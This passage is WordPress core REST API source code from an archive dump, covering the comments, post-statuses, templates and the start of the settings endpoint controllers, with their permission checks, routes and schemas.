protected function check_read_post_permission( $post, $request ) { $post_type = get_post_type_object( $post->post_type ); // Return false if custom post type doesn't exist if ( ! $post_type ) { return false; } $posts_controller = $post_type->get_rest_controller(); // Ensure the posts controller is specifically a WP_REST_Posts_Controller instance // before using methods specific to that controller. if ( ! $posts_controller instanceof WP_REST_Posts_Controller ) { $posts_controller = new WP_REST_Posts_Controller( $post->post_type ); } $has_password_filter = false; // Only check password if a specific post was queried for or a single comment $requested_post = ! empty( $request['post'] ) && ( ! is_array( $request['post'] ) || 1 === count( $request['post'] ) ); $requested_comment = ! empty( $request['id'] ); if ( ( $requested_post || $requested_comment ) && $posts_controller->can_access_password_content( $post, $request ) ) { add_filter( 'post_password_required', '__return_false' ); $has_password_filter = true; } if ( post_password_required( $post ) ) { $result = current_user_can( 'edit_post', $post->ID ); } else { $result = $posts_controller->check_read_permission( $post ); } if ( $has_password_filter ) { remove_filter( 'post_password_required', '__return_false' ); } return $result; } /** * Checks if the comment can be read. * * @since 4.7.0 * * @param WP_Comment $comment Comment object. * @param WP_REST_Request $request Request data to check. * @return bool Whether the comment can be read. */ protected function check_read_permission( $comment, $request ) { if ( ! empty( $comment->comment_post_ID ) ) { $post = get_post( $comment->comment_post_ID ); if ( $post ) { if ( $this->check_read_post_permission( $post, $request ) && 1 === (int) $comment->comment_approved ) { return true; } } } if ( 0 === get_current_user_id() ) { return false; } if ( empty( $comment->comment_post_ID ) && ! current_user_can( 'moderate_comments' ) ) { return false; } if ( ! empty( $comment->user_id ) && get_current_user_id() === (int) $comment->user_id ) { return true; } return current_user_can( 'edit_comment', $comment->comment_ID ); } /** * Checks if a comment can be edited or deleted. * * @since 4.7.0 * * @param WP_Comment $comment Comment object. * @return bool Whether the comment can be edited or deleted. */ protected function check_edit_permission( $comment ) { if ( 0 === (int) get_current_user_id() ) { return false; } if ( current_user_can( 'moderate_comments' ) ) { return true; } return current_user_can( 'edit_comment', $comment->comment_ID ); } /** * Checks a comment author email for validity. * * Accepts either a valid email address or empty string as a valid comment * author email address. Setting the comment author email to an empty * string is allowed when a comment is being updated. * * @since 4.7.0 * * @param string $value Author email value submitted. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter name. * @return string|WP_Error The sanitized email address, if valid, * otherwise an error. */ public function check_comment_author_email( $value, $request, $param ) { $email = (string) $value; if ( empty( $email ) ) { return $email; } $check_email = rest_validate_request_arg( $email, $request, $param ); if ( is_wp_error( $check_email ) ) { return $check_email; } return $email; } /** * If empty comments are not allowed, checks if the provided comment content is not empty. * * @since 5.6.0 * * @param array $prepared_comment The prepared comment data. * @return bool True if the content is allowed, false otherwise. */ protected function check_is_comment_content_allowed( $prepared_comment ) { $check = wp_parse_args( $prepared_comment, array( 'comment_post_ID' => 0, 'comment_parent' => 0, 'user_ID' => 0, 'comment_author' => null, 'comment_author_email' => null, 'comment_author_url' => null, ) ); /** This filter is documented in wp-includes/comment.php */ $allow_empty = apply_filters( 'allow_empty_comment', false, $check ); if ( $allow_empty ) { return true; } /* * Do not allow a comment to be created with missing or empty * comment_content. See wp_handle_comment_submission(). */ return '' !== $check['comment_content']; } } rest-api/endpoints/class-wp-rest-post-statuses-controller.php000064400000024116147177035020020537 0ustar00namespace = 'wp/v2'; $this->rest_base = 'statuses'; } /** * Registers the routes for post statuses. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w-]+)', array( 'args' => array( 'status' => array( 'description' => __( 'An alphanumeric identifier for the status.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read post statuses. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( 'edit' === $request['context'] ) { $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( current_user_can( $type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to manage post statuses.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves all post statuses, depending on user context. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $data = array(); $statuses = get_post_stati( array( 'internal' => false ), 'object' ); $statuses['trash'] = get_post_status_object( 'trash' ); foreach ( $statuses as $slug => $obj ) { $ret = $this->check_read_permission( $obj ); if ( ! $ret ) { continue; } $status = $this->prepare_item_for_response( $obj, $request ); $data[ $obj->name ] = $this->prepare_response_for_collection( $status ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to read a post status. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $status = get_post_status_object( $request['status'] ); if ( empty( $status ) ) { return new WP_Error( 'rest_status_invalid', __( 'Invalid status.' ), array( 'status' => 404 ) ); } $check = $this->check_read_permission( $status ); if ( ! $check ) { return new WP_Error( 'rest_cannot_read_status', __( 'Cannot view status.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks whether a given post status should be visible. * * @since 4.7.0 * * @param object $status Post status. * @return bool True if the post status is visible, otherwise false. */ protected function check_read_permission( $status ) { if ( true === $status->public ) { return true; } if ( false === $status->internal || 'trash' === $status->name ) { $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( current_user_can( $type->cap->edit_posts ) ) { return true; } } } return false; } /** * Retrieves a specific post status. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $obj = get_post_status_object( $request['status'] ); if ( empty( $obj ) ) { return new WP_Error( 'rest_status_invalid', __( 'Invalid status.' ), array( 'status' => 404 ) ); } $data = $this->prepare_item_for_response( $obj, $request ); return rest_ensure_response( $data ); } /** * Prepares a post status object for serialization. * * @since 4.7.0 * @since 5.9.0 Renamed `$status` to `$item` to match parent class for PHP 8 named parameter support. * * @param stdClass $item Post status data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Post status data. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $status = $item; $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'name', $fields, true ) ) { $data['name'] = $status->label; } if ( in_array( 'private', $fields, true ) ) { $data['private'] = (bool) $status->private; } if ( in_array( 'protected', $fields, true ) ) { $data['protected'] = (bool) $status->protected; } if ( in_array( 'public', $fields, true ) ) { $data['public'] = (bool) $status->public; } if ( in_array( 'queryable', $fields, true ) ) { $data['queryable'] = (bool) $status->publicly_queryable; } if ( in_array( 'show_in_list', $fields, true ) ) { $data['show_in_list'] = (bool) $status->show_in_admin_all_list; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $status->name; } if ( in_array( 'date_floating', $fields, true ) ) { $data['date_floating'] = $status->date_floating; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $rest_url = rest_url( rest_get_route_for_post_type_items( 'post' ) ); if ( 'publish' === $status->name ) { $response->add_link( 'archives', $rest_url ); } else { $response->add_link( 'archives', add_query_arg( 'status', $status->name, $rest_url ) ); } /** * Filters a post status returned from the REST API. * * Allows modification of the status data right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param object $status The original post status object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_status', $response, $status, $request ); } /** * Retrieves the post status' schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'status', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The title for the status.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'private' => array( 'description' => __( 'Whether posts with this status should be private.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'protected' => array( 'description' => __( 'Whether posts with this status should be protected.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'public' => array( 'description' => __( 'Whether posts of this status should be shown in the front end of the site.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'queryable' => array( 'description' => __( 'Whether posts with this status should be publicly-queryable.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'show_in_list' => array( 'description' => __( 'Whether to include posts in the edit listing for their post type.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the status.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'date_floating' => array( 'description' => __( 'Whether posts of this status may have floating published dates.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } } rest-api/endpoints/class-wp-rest-templates-controller.php000064400000066234147177035020017706 0ustar00post_type = $post_type; $obj = get_post_type_object( $post_type ); $this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name; $this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2'; } /** * Registers the controllers routes. * * @since 5.8.0 */ public function register_routes() { // Lists all templates. register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); // Lists/updates a single template based on the given id. register_rest_route( $this->namespace, // The route. sprintf( '/%s/(?P%s%s)', $this->rest_base, // Matches theme's directory: `/themes///` or `/themes//`. // Excludes invalid directory name characters: `/:<>*?"|`. '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w-]+' ), array( 'args' => array( 'id' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this, '_sanitize_template_id' ), ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Whether to bypass Trash and force deletion.' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if the user has permissions to make the request. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ protected function permissions_check( $request ) { // Verify if the current user has edit_theme_options capability. // This capability is required to edit/view/delete templates. if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_manage_templates', __( 'Sorry, you are not allowed to access the templates on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } return true; } /** * Requesting this endpoint for a template like 'twentytwentytwo//home' * requires using a path like /wp/v2/templates/twentytwentytwo//home. There * are special cases when WordPress routing corrects the name to contain * only a single slash like 'twentytwentytwo/home'. * * This method doubles the last slash if it's not already doubled. It relies * on the template ID format {theme_name}//{template_slug} and the fact that * slugs cannot contain slashes. * * @since 5.9.0 * @see https://core.trac.wordpress.org/ticket/54507 * * @param string $id Template ID. * @return string Sanitized template ID. */ public function _sanitize_template_id( $id ) { $id = urldecode( $id ); $last_slash_pos = strrpos( $id, '/' ); if ( false === $last_slash_pos ) { return $id; } $is_double_slashed = substr( $id, $last_slash_pos - 1, 1 ) === '/'; if ( $is_double_slashed ) { return $id; } return ( substr( $id, 0, $last_slash_pos ) . '/' . substr( $id, $last_slash_pos ) ); } /** * Checks if a given request has access to read templates. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Returns a list of templates. * * @since 5.8.0 * * @param WP_REST_Request $request The request instance. * @return WP_REST_Response */ public function get_items( $request ) { $query = array(); if ( isset( $request['wp_id'] ) ) { $query['wp_id'] = $request['wp_id']; } if ( isset( $request['area'] ) ) { $query['area'] = $request['area']; } if ( isset( $request['post_type'] ) ) { $query['post_type'] = $request['post_type']; } $templates = array(); foreach ( get_block_templates( $query, $this->post_type ) as $template ) { $data = $this->prepare_item_for_response( $template, $request ); $templates[] = $this->prepare_response_for_collection( $data ); } return rest_ensure_response( $templates ); } /** * Checks if a given request has access to read a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Returns the given template * * @since 5.8.0 * * @param WP_REST_Request $request The request instance. * @return WP_REST_Response|WP_Error */ public function get_item( $request ) { if ( isset( $request['source'] ) && 'theme' === $request['source'] ) { $template = get_block_file_template( $request['id'], $this->post_type ); } else { $template = get_block_template( $request['id'], $this->post_type ); } if ( ! $template ) { return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) ); } return $this->prepare_item_for_response( $template, $request ); } /** * Checks if a given request has access to write a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Updates a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $template = get_block_template( $request['id'], $this->post_type ); if ( ! $template ) { return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) ); } $post_before = get_post( $template->wp_id ); if ( isset( $request['source'] ) && 'theme' === $request['source'] ) { wp_delete_post( $template->wp_id, true ); $request->set_param( 'context', 'edit' ); $template = get_block_template( $request['id'], $this->post_type ); $response = $this->prepare_item_for_response( $template, $request ); return rest_ensure_response( $response ); } $changes = $this->prepare_item_for_database( $request ); if ( is_wp_error( $changes ) ) { return $changes; } if ( 'custom' === $template->source ) { $update = true; $result = wp_update_post( wp_slash( (array) $changes ), false ); } else { $update = false; $post_before = null; $result = wp_insert_post( wp_slash( (array) $changes ), false ); } if ( is_wp_error( $result ) ) { if ( 'db_update_error' === $result->get_error_code() ) { $result->add_data( array( 'status' => 500 ) ); } else { $result->add_data( array( 'status' => 400 ) ); } return $result; } $template = get_block_template( $request['id'], $this->post_type ); $fields_update = $this->update_additional_fields_for_object( $template, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); $post = get_post( $template->wp_id ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ do_action( "rest_after_insert_{$this->post_type}", $post, $request, false ); wp_after_insert_post( $post, $update, $post_before ); $response = $this->prepare_item_for_response( $template, $request ); return rest_ensure_response( $response ); } /** * Checks if a given request has access to create a template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Creates a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $prepared_post = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_post ) ) { return $prepared_post; } $prepared_post->post_name = $request['slug']; $post_id = wp_insert_post( wp_slash( (array) $prepared_post ), true ); if ( is_wp_error( $post_id ) ) { if ( 'db_insert_error' === $post_id->get_error_code() ) { $post_id->add_data( array( 'status' => 500 ) ); } else { $post_id->add_data( array( 'status' => 400 ) ); } return $post_id; } $posts = get_block_templates( array( 'wp_id' => $post_id ), $this->post_type ); if ( ! count( $posts ) ) { return new WP_Error( 'rest_template_insert_error', __( 'No templates exist with that id.' ), array( 'status' => 400 ) ); } $id = $posts[0]->id; $post = get_post( $post_id ); $template = get_block_template( $id, $this->post_type ); $fields_update = $this->update_additional_fields_for_object( $template, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ do_action( "rest_after_insert_{$this->post_type}", $post, $request, true ); wp_after_insert_post( $post, false, null ); $response = $this->prepare_item_for_response( $template, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $template->id ) ) ); return $response; } /** * Checks if a given request has access to delete a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has delete access for the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Deletes a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $template = get_block_template( $request['id'], $this->post_type ); if ( ! $template ) { return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) ); } if ( 'custom' !== $template->source ) { return new WP_Error( 'rest_invalid_template', __( 'Templates based on theme files can\'t be removed.' ), array( 'status' => 400 ) ); } $id = $template->wp_id; $force = (bool) $request['force']; $request->set_param( 'context', 'edit' ); // If we're forcing, then delete permanently. if ( $force ) { $previous = $this->prepare_item_for_response( $template, $request ); $result = wp_delete_post( $id, true ); $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); } else { // Otherwise, only trash if we haven't already. if ( 'trash' === $template->status ) { return new WP_Error( 'rest_template_already_trashed', __( 'The template has already been deleted.' ), array( 'status' => 410 ) ); } // (Note that internally this falls through to `wp_delete_post()` // if the Trash is disabled.) $result = wp_trash_post( $id ); $template->status = 'trash'; $response = $this->prepare_item_for_response( $template, $request ); } if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The template cannot be deleted.' ), array( 'status' => 500 ) ); } return $response; } /** * Prepares a single template for create or update. * * @since 5.8.0 * * @param WP_REST_Request $request Request object. * @return stdClass Changes to pass to wp_update_post. */ protected function prepare_item_for_database( $request ) { $template = $request['id'] ? get_block_template( $request['id'], $this->post_type ) : null; $changes = new stdClass(); if ( null === $template ) { $changes->post_type = $this->post_type; $changes->post_status = 'publish'; $changes->tax_input = array( 'wp_theme' => isset( $request['theme'] ) ? $request['theme'] : wp_get_theme()->get_stylesheet(), ); } elseif ( 'custom' !== $template->source ) { $changes->post_name = $template->slug; $changes->post_type = $this->post_type; $changes->post_status = 'publish'; $changes->tax_input = array( 'wp_theme' => $template->theme, ); $changes->meta_input = array( 'origin' => $template->source, ); } else { $changes->post_name = $template->slug; $changes->ID = $template->wp_id; $changes->post_status = 'publish'; } if ( isset( $request['content'] ) ) { if ( is_string( $request['content'] ) ) { $changes->post_content = $request['content']; } elseif ( isset( $request['content']['raw'] ) ) { $changes->post_content = $request['content']['raw']; } } elseif ( null !== $template && 'custom' !== $template->source ) { $changes->post_content = $template->content; } if ( isset( $request['title'] ) ) { if ( is_string( $request['title'] ) ) { $changes->post_title = $request['title']; } elseif ( ! empty( $request['title']['raw'] ) ) { $changes->post_title = $request['title']['raw']; } } elseif ( null !== $template && 'custom' !== $template->source ) { $changes->post_title = $template->title; } if ( isset( $request['description'] ) ) { $changes->post_excerpt = $request['description']; } elseif ( null !== $template && 'custom' !== $template->source ) { $changes->post_excerpt = $template->description; } if ( 'wp_template_part' === $this->post_type ) { if ( isset( $request['area'] ) ) { $changes->tax_input['wp_template_part_area'] = _filter_block_template_part_area( $request['area'] ); } elseif ( null !== $template && 'custom' !== $template->source && $template->area ) { $changes->tax_input['wp_template_part_area'] = _filter_block_template_part_area( $template->area ); } elseif ( ! $template->area ) { $changes->tax_input['wp_template_part_area'] = WP_TEMPLATE_PART_AREA_UNCATEGORIZED; } } if ( ! empty( $request['author'] ) ) { $post_author = (int) $request['author']; if ( get_current_user_id() !== $post_author ) { $user_obj = get_userdata( $post_author ); if ( ! $user_obj ) { return new WP_Error( 'rest_invalid_author', __( 'Invalid author ID.' ), array( 'status' => 400 ) ); } } $changes->post_author = $post_author; } return $changes; } /** * Prepare a single template output for response * * @since 5.8.0 * @since 5.9.0 Renamed `$template` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Block_Template $item Template instance. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable // Restores the more descriptive, specific name for use within this method. $template = $item; $fields = $this->get_fields_for_response( $request ); // Base fields for every template. $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $template->id; } if ( rest_is_field_included( 'theme', $fields ) ) { $data['theme'] = $template->theme; } if ( rest_is_field_included( 'content', $fields ) ) { $data['content'] = array(); } if ( rest_is_field_included( 'content.raw', $fields ) ) { $data['content']['raw'] = $template->content; } if ( rest_is_field_included( 'content.block_version', $fields ) ) { $data['content']['block_version'] = block_version( $template->content ); } if ( rest_is_field_included( 'slug', $fields ) ) { $data['slug'] = $template->slug; } if ( rest_is_field_included( 'source', $fields ) ) { $data['source'] = $template->source; } if ( rest_is_field_included( 'origin', $fields ) ) { $data['origin'] = $template->origin; } if ( rest_is_field_included( 'type', $fields ) ) { $data['type'] = $template->type; } if ( rest_is_field_included( 'description', $fields ) ) { $data['description'] = $template->description; } if ( rest_is_field_included( 'title', $fields ) ) { $data['title'] = array(); } if ( rest_is_field_included( 'title.raw', $fields ) ) { $data['title']['raw'] = $template->title; } if ( rest_is_field_included( 'title.rendered', $fields ) ) { if ( $template->wp_id ) { /** This filter is documented in wp-includes/post-template.php */ $data['title']['rendered'] = apply_filters( 'the_title', $template->title, $template->wp_id ); } else { $data['title']['rendered'] = $template->title; } } if ( rest_is_field_included( 'status', $fields ) ) { $data['status'] = $template->status; } if ( rest_is_field_included( 'wp_id', $fields ) ) { $data['wp_id'] = (int) $template->wp_id; } if ( rest_is_field_included( 'has_theme_file', $fields ) ) { $data['has_theme_file'] = (bool) $template->has_theme_file; } if ( rest_is_field_included( 'is_custom', $fields ) && 'wp_template' === $template->type ) { $data['is_custom'] = $template->is_custom; } if ( rest_is_field_included( 'author', $fields ) ) { $data['author'] = (int) $template->author; } if ( rest_is_field_included( 'area', $fields ) && 'wp_template_part' === $template->type ) { $data['area'] = $template->area; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); $links = $this->prepare_links( $template->id ); $response->add_links( $links ); if ( ! empty( $links['self']['href'] ) ) { $actions = $this->get_available_actions(); $self = $links['self']['href']; foreach ( $actions as $rel ) { $response->add_link( $rel, $self ); } } return $response; } /** * Prepares links for the request. * * @since 5.8.0 * * @param integer $id ID. * @return array Links for the given post. */ protected function prepare_links( $id ) { $base = sprintf( '%s/%s', $this->namespace, $this->rest_base ); $links = array( 'self' => array( 'href' => rest_url( trailingslashit( $base ) . $id ), ), 'collection' => array( 'href' => rest_url( $base ), ), 'about' => array( 'href' => rest_url( 'wp/v2/types/' . $this->post_type ), ), ); return $links; } /** * Get the link relations available for the post and current user. * * @since 5.8.0 * * @return string[] List of link relations. */ protected function get_available_actions() { $rels = array(); $post_type = get_post_type_object( $this->post_type ); if ( current_user_can( $post_type->cap->publish_posts ) ) { $rels[] = 'https://api.w.org/action-publish'; } if ( current_user_can( 'unfiltered_html' ) ) { $rels[] = 'https://api.w.org/action-unfiltered-html'; } return $rels; } /** * Retrieves the query params for the posts collection. * * @since 5.8.0 * @since 5.9.0 Added `'area'` and `'post_type'`. * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'wp_id' => array( 'description' => __( 'Limit to the specified post id.' ), 'type' => 'integer', ), 'area' => array( 'description' => __( 'Limit to the specified template part area.' ), 'type' => 'string', ), 'post_type' => array( 'description' => __( 'Post type to get the templates for.' ), 'type' => 'string', ), ); } /** * Retrieves the block type' schema, conforming to JSON Schema. * * @since 5.8.0 * @since 5.9.0 Added `'area'`. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'ID of template.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'Unique slug identifying the template.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'required' => true, 'minLength' => 1, 'pattern' => '[a-zA-Z0-9_\-]+', ), 'theme' => array( 'description' => __( 'Theme identifier for the template.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), ), 'type' => array( 'description' => __( 'Type of template.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), ), 'source' => array( 'description' => __( 'Source of template' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'origin' => array( 'description' => __( 'Source of a customized template' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'content' => array( 'description' => __( 'Content of template.' ), 'type' => array( 'object', 'string' ), 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'properties' => array( 'raw' => array( 'description' => __( 'Content for the template, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), ), 'block_version' => array( 'description' => __( 'Version of the content block format used by the template.' ), 'type' => 'integer', 'context' => array( 'edit' ), 'readonly' => true, ), ), ), 'title' => array( 'description' => __( 'Title of template.' ), 'type' => array( 'object', 'string' ), 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'properties' => array( 'raw' => array( 'description' => __( 'Title for the template, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'rendered' => array( 'description' => __( 'HTML title for the template, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ), 'description' => array( 'description' => __( 'Description of template.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), ), 'status' => array( 'description' => __( 'Status of template.' ), 'type' => 'string', 'enum' => array_keys( get_post_stati( array( 'internal' => false ) ) ), 'default' => 'publish', 'context' => array( 'embed', 'view', 'edit' ), ), 'wp_id' => array( 'description' => __( 'Post ID.' ), 'type' => 'integer', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'has_theme_file' => array( 'description' => __( 'Theme file exists.' ), 'type' => 'bool', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'author' => array( 'description' => __( 'The ID for the author of the template.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), ), ); if ( 'wp_template' === $this->post_type ) { $schema['properties']['is_custom'] = array( 'description' => __( 'Whether a template is a custom template.' ), 'type' => 'bool', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); } if ( 'wp_template_part' === $this->post_type ) { $schema['properties']['area'] = array( 'description' => __( 'Where the template part is intended for use (header, footer, etc.)' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), ); } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } rest-api/endpoints/class-wp-rest-settings-controller.php000064400000024233147177035020017541 0ustar00namespace = 'wp/v2'; $this->rest_base = 'settings'; } /** * Registers the routes for the site's settings. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'args' => array(), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( 